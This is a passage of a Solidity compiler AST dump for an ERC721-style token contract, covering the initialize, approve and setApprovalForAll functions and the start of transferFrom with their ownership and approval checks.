029,"nodeType":"VariableDeclaration","src":"2473:24:21","nodes":[],"constant":false,"documentation":{"id":33027,"nodeType":"StructuredDocumentation","src":"2401:67:21","text":"@dev A bool to track whether the contract has been initialized."},"mutability":"mutable","name":"initialized","nameLocation":"2486:11:21","scope":33498,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":33028,"name":"bool","nodeType":"ElementaryTypeName","src":"2473:4:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"private"},{"id":33056,"nodeType":"FunctionDefinition","src":"2706:212:21","nodes":[],"body":{"id":33055,"nodeType":"Block","src":"2777:141:21","nodes":[],"statements":[{"expression":{"arguments":[{"id":33039,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"2795:12:21","subExpression":{"id":33038,"name":"initialized","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33029,"src":"2796:11:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"414c52454144595f494e495449414c495a4544","id":33040,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2809:21:21","typeDescriptions":{"typeIdentifier":"t_stringliteral_241395e6b20092ec3fd5dfc22ea70fc2615c08854b7fd10fb3028d965cf738f3","typeString":"literal_string \"ALREADY_INITIALIZED\""},"value":"ALREADY_INITIALIZED"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_241395e6b20092ec3fd5dfc22ea70fc2615c08854b7fd10fb3028d965cf738f3","typeString":"literal_string \"ALREADY_INITIALIZED\""}],"id":33037,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"2787:7:21","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":33041,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2787:44:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33042,"nodeType":"ExpressionStatement","src":"2787:44:21"},{"expression":{"id":33045,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":33043,"name":"_name","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32902,"src":"2842:5:21","typeDescriptions":{"typeIdentifier":"t_string_storage","typeString":"string storage ref"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":33044,"name":"name_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33032,"src":"2850:5:21","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"src":"2842:13:21","typeDescriptions":{"typeIdentifier":"t_string_storage","typeString":"string storage ref"}},"id":33046,"nodeType":"ExpressionStatement","src":"2842:13:21"},{"expression":{"id":33049,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":33047,"name":"_symbol","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32904,"src":"2865:7:21","typeDescriptions":{"typeIdentifier":"t_string_storage","typeString":"string storage ref"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":33048,"name":"symbol_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33034,"src":"2875:7:21","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"src":"2865:17:21","typeDescriptions":{"typeIdentifier":"t_string_storage","typeString":"string storage ref"}},"id":33050,"nodeType":"ExpressionStatement","src":"2865:17:21"},{"expression":{"id":33053,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":33051,"name":"initialized","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33029,"src":"2893:11:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"hexValue":"74727565","id":33052,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"2907:4:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"src":"2893:18:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":33054,"nodeType":"ExpressionStatement","src":"2893:18:21"}]},"documentation":{"id":33030,"nodeType":"StructuredDocumentation","src":"2504:197:21","text":"@dev To hide constructor warnings across solc versions due to different constructor visibility requirements and\n syntaxes, we add an initialization function that can be called only once."},"functionSelector":"4cd88b76","implemented":true,"kind":"function","modifiers":[],"name":"initialize","nameLocation":"2715:10:21","parameters":{"id":33035,"nodeType":"ParameterList","parameters":[{"constant":false,"id":33032,"mutability":"mutable","name":"name_","nameLocation":"2740:5:21","nodeType":"VariableDeclaration","scope":33056,"src":"2726:19:21","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":33031,"name":"string","nodeType":"ElementaryTypeName","src":"2726:6:21","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":33034,"mutability":"mutable","name":"symbol_","nameLocation":"2761:7:21","nodeType":"VariableDeclaration","scope":33056,"src":"2747:21:21","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":33033,"name":"string","nodeType":"ElementaryTypeName","src":"2747:6:21","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"2725:44:21"},"returnParameters":{"id":33036,"nodeType":"ParameterList","parameters":[],"src":"2777:0:21"},"scope":33498,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":33098,"nodeType":"FunctionDefinition","src":"3106:301:21","nodes":[],"body":{"id":33097,"nodeType":"Block","src":"3184:223:21","nodes":[],"statements":[{"assignments":[33065],"declarations":[{"constant":false,"id":33065,"mutability":"mutable","name":"owner","nameLocation":"3202:5:21","nodeType":"VariableDeclaration","scope":33097,"src":"3194:13:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":33064,"name":"address","nodeType":"ElementaryTypeName","src":"3194:7:21","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"id":33069,"initialValue":{"baseExpression":{"id":33066,"name":"_ownerOf","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32935,"src":"3210:8:21","typeDescriptions":{"typeIdentifier":"t_mapping$_t_uint256_$_t_address_$","typeString":"mapping(uint256 => address)"}},"id":33068,"indexExpression":{"id":33067,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33060,"src":"3219:2:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"3210:12:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"VariableDeclarationStatement","src":"3194:28:21"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":33081,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":33074,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":33071,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"3241:3:21","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":33072,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3245:6:21","memberName":"sender","nodeType":"MemberAccess","src":"3241:10:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"id":33073,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33065,"src":"3255:5:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"3241:19:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"||","rightExpression":{"baseExpression":{"baseExpression":{"id":33075,"name":"_isApprovedForAll","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32996,"src":"3264:17:21","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_bool_$_$","typeString":"mapping(address => mapping(address => bool))"}},"id":33077,"indexExpression":{"id":33076,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33065,"src":"3282:5:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"3264:24:21","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_bool_$","typeString":"mapping(address => bool)"}},"id":33080,"indexExpression":{"expression":{"id":33078,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"3289:3:21","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":33079,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3293:6:21","memberName":"sender","nodeType":"MemberAccess","src":"3289:10:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"3264:36:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"3241:59:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"4e4f545f415554484f52495a4544","id":33082,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"3302:16:21","typeDescriptions":{"typeIdentifier":"t_stringliteral_e7e213d5e2bee0acc2c7bf8bfda19ef0cae82e7b8c997e7e898919269971e7c4","typeString":"literal_string \"NOT_AUTHORIZED\""},"value":"NOT_AUTHORIZED"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_e7e213d5e2bee0acc2c7bf8bfda19ef0cae82e7b8c997e7e898919269971e7c4","typeString":"literal_string \"NOT_AUTHORIZED\""}],"id":33070,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"3233:7:21","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":33083,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3233:86:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33084,"nodeType":"ExpressionStatement","src":"3233:86:21"},{"expression":{"id":33089,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":33085,"name":"_getApproved","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32990,"src":"3330:12:21","typeDescriptions":{"typeIdentifier":"t_mapping$_t_uint256_$_t_address_$","typeString":"mapping(uint256 => address)"}},"id":33087,"indexExpression":{"id":33086,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33060,"src":"3343:2:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"3330:16:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":33088,"name":"spender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33058,"src":"3349:7:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"3330:26:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":33090,"nodeType":"ExpressionStatement","src":"3330:26:21"},{"eventCall":{"arguments":[{"id":33092,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33065,"src":"3381:5:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":33093,"name":"spender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33058,"src":"3388:7:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":33094,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33060,"src":"3397:2:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":33091,"name":"Approval","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31993,"src":"3372:8:21","typeDescriptions":{"typeIdentifier":"t_function_event_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,address,uint256)"}},"id":33095,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3372:28:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33096,"nodeType":"EmitStatement","src":"3367:33:21"}]},"baseFunctions":[32058],"functionSelector":"095ea7b3","implemented":true,"kind":"function","modifiers":[],"name":"approve","nameLocation":"3115:7:21","overrides":{"id":33062,"nodeType":"OverrideSpecifier","overrides":[],"src":"3175:8:21"},"parameters":{"id":33061,"nodeType":"ParameterList","parameters":[{"constant":false,"id":33058,"mutability":"mutable","name":"spender","nameLocation":"3131:7:21","nodeType":"VariableDeclaration","scope":33098,"src":"3123:15:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":33057,"name":"address","nodeType":"ElementaryTypeName","src":"3123:7:21","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":33060,"mutability":"mutable","name":"id","nameLocation":"3148:2:21","nodeType":"VariableDeclaration","scope":33098,"src":"3140:10:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":33059,"name":"uint256","nodeType":"ElementaryTypeName","src":"3140:7:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"3122:29:21"},"returnParameters":{"id":33063,"nodeType":"ParameterList","parameters":[],"src":"3184:0:21"},"scope":33498,"stateMutability":"payable","virtual":true,"visibility":"public"},{"id":33123,"nodeType":"FunctionDefinition","src":"3413:213:21","nodes":[],"body":{"id":33122,"nodeType":"Block","src":"3497:129:21","nodes":[],"statements":[{"expression":{"id":33113,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"baseExpression":{"id":33106,"name":"_isApprovedForAll","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32996,"src":"3507:17:21","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_bool_$_$","typeString":"mapping(address => mapping(address => bool))"}},"id":33110,"indexExpression":{"expression":{"id":33107,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"3525:3:21","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":33108,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3529:6:21","memberName":"sender","nodeType":"MemberAccess","src":"3525:10:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"3507:29:21","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_bool_$","typeString":"mapping(address => bool)"}},"id":33111,"indexExpression":{"id":33109,"name":"operator","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33100,"src":"3537:8:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"3507:39:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":33112,"name":"approved","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33102,"src":"3549:8:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"3507:50:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":33114,"nodeType":"ExpressionStatement","src":"3507:50:21"},{"eventCall":{"arguments":[{"expression":{"id":33116,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"3588:3:21","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":33117,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3592:6:21","memberName":"sender","nodeType":"MemberAccess","src":"3588:10:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":33118,"name":"operator","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33100,"src":"3600:8:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":33119,"name":"approved","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33102,"src":"3610:8:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"}],"id":33115,"name":"ApprovalForAll","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32002,"src":"3573:14:21","typeDescriptions":{"typeIdentifier":"t_function_event_nonpayable$_t_address_$_t_address_$_t_bool_$returns$__$","typeString":"function (address,address,bool)"}},"id":33120,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3573:46:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33121,"nodeType":"EmitStatement","src":"3568:51:21"}]},"baseFunctions":[32066],"functionSelector":"a22cb465","implemented":true,"kind":"function","modifiers":[],"name":"setApprovalForAll","nameLocation":"3422:17:21","overrides":{"id":33104,"nodeType":"OverrideSpecifier","overrides":[],"src":"3488:8:21"},"parameters":{"id":33103,"nodeType":"ParameterList","parameters":[{"constant":false,"id":33100,"mutability":"mutable","name":"operator","nameLocation":"3448:8:21","nodeType":"VariableDeclaration","scope":33123,"src":"3440:16:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":33099,"name":"address","nodeType":"ElementaryTypeName","src":"3440:7:21","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":33102,"mutability":"mutable","name":"approved","nameLocation":"3463:8:21","nodeType":"VariableDeclaration","scope":33123,"src":"3458:13:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":33101,"name":"bool","nodeType":"ElementaryTypeName","src":"3458:4:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"3439:33:21"},"returnParameters":{"id":33105,"nodeType":"ParameterList","parameters":[],"src":"3497:0:21"},"scope":33498,"stateMutability":"nonpayable","virtual":true,"visibility":"public"},{"id":33202,"nodeType":"FunctionDefinition","src":"3632:693:21","nodes":[],"body":{"id":33201,"nodeType":"Block","src":"3724:601:21","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":33138,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":33134,"name":"from","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33125,"src":"3742:4:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"baseExpression":{"id":33135,"name":"_ownerOf","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32935,"src":"3750:8:21","typeDescriptions":{"typeIdentifier":"t_mapping$_t_uint256_$_t_address_$","typeString":"mapping(uint256 => address)"}},"id":33137,"indexExpression":{"id":33136,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33129,"src":"3759:2:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"3750:12:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"3742:20:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"57524f4e475f46524f4d","id":33139,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"3764:12:21","typeDescriptions":{"typeIdentifier":"t_stringliteral_f70366941d4d371c05a2457cbc0f4d05a3d6bc57ab01a7c3338bfed233eebe93","typeString":"literal_string \"WRONG_FROM\""},"value":"WRONG_FROM"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_f70366941d4d371c05a2457cbc0f4d05a3d6bc57ab01a7c3338bfed233eebe93","typeString":"literal_string \"WRONG_FROM\""}],"id":33133,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"3734:7:21","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":33140,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3734:43:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33141,"nodeType":"ExpressionStatement","src":"3734:43:21"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":33148,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":33143,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33127,"src":"3796:2:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"arguments":[{"hexValue":"30","id":33146,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"3810:1:21","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":33145,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"3802:7:21","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":33144,"name":"address","nodeType":"ElementaryTypeName","src":"3802:7:21","typeDescriptions":{}}},"id":33147,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3802:10:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"3796:16:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"494e56414c49445f524543495049454e54","id":33149,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"3814:19:21","typeDescriptions":{"typeIdentifier":"t_stringliteral_5e7bf34c5f9e77c6f415365fc02ea1195419ccebda18d14265f0c098f3687483","typeString":"literal_string \"INVALID_RECIPIENT\""},"value":"INVALID_RECIPIENT"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_5e7bf34c5f9e77c6f415365fc02ea1195419ccebda18d14265f0c098f3687483","typeString":"literal_string \"INVALID_RECIPIENT\""}],"id":33142,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"3788:7:21","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":33150,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3788:46:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33151,"nodeType":"ExpressionStatement","src":"3788:46:21"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":33170,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":33163,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":33156,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":33153,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"3866:3:21","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":33154,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3870:6:21","memberName":"sender","nodeType":"MemberAccess","src":"3866:10:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"id":33155,"name":"from","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33125,"src":"3880:4:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"3866:18:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"||","rightExpression":{"baseExpression":{"baseExpression":{"id":33157,"name":"_isApprovedForAll","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32996,"src":"3888:17:21","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_bool_$_$","typeString":"mapping(address => mapping(address => bool))"}},"id":33159,"indexExpression":{"id":33158,"name":"from","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33125,"src":"3906:4:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"3888:23:21","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_bool_$","typeString":"mapping(address => bool)"}},"id":33162,"indexExpression":{"expression":{"id":33160,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"3912:3:21","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":33161,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3916:6:21","memberName":"sender","nodeType":"MemberAccess","src":"3912:10:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"3888:35:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"3866:57:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"||","rightExpression":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":33169,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":33164,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"3927:3:21","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":33165,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3931:6:21","memberName":"sender","nodeType":"MemberAccess","src":"3927:10:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"baseExpression":{"id":33166,"name":"_getApproved","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32990,"src":"3941:12:21","typeDescriptions":{"typeIdentifier":"t_mapping$_t_uint256_$_t_address_$","typeString":"mapping(uint256 => 